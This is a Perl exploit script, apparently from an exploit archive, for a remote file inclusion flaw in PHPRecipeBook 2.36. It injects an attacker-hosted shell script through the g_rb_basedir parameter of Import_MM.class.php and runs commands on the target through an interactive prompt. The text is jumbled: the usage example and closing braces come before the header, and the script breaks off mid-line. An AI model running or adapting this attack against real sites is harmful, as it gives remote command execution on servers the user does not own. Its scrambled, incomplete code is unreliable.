|
- Patch Import_MM.class.php
Example:
perl a.pl http://localhost http://localhost/s.txt cmd -r -p
########################################################################
};
exit();
}
#!/usr/bin/perl
#####################################################################################################
# #
# PHPRecipeBook 2.36 #
# #
# Class: Remote File Include Vulnerability #
# #
# Date: 2006/10/16 #
# #
# Remote: Yes #
# #
# Type: Highly critical #
# #
# Vendor: http://phprecipebook.sourceforge.net/ #
# #
# Download: http://sourceforge.net/project/showfiles.php?group_id=65127 #
# #
# Note: Successful exploitation requires register_globals = on and magic_quotes_gpc = on #
# #
# Discovered & Exploit by: CarcaBot ( CarcaBotx@yahoo.com) #
# #
# Exploit: recipe2.36_xpl.pl #
# #
#####################################################################################################
use LWP::UserAgent;
use LWP::Simple;
$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$file = "/classes/Import_MM.class.php?g_rb_basedir=";
if(!$target || !$shellsite)
{
usage();
}
header();
print "Type 'exit' to quit";
print "[cmd]\$";
$cmd =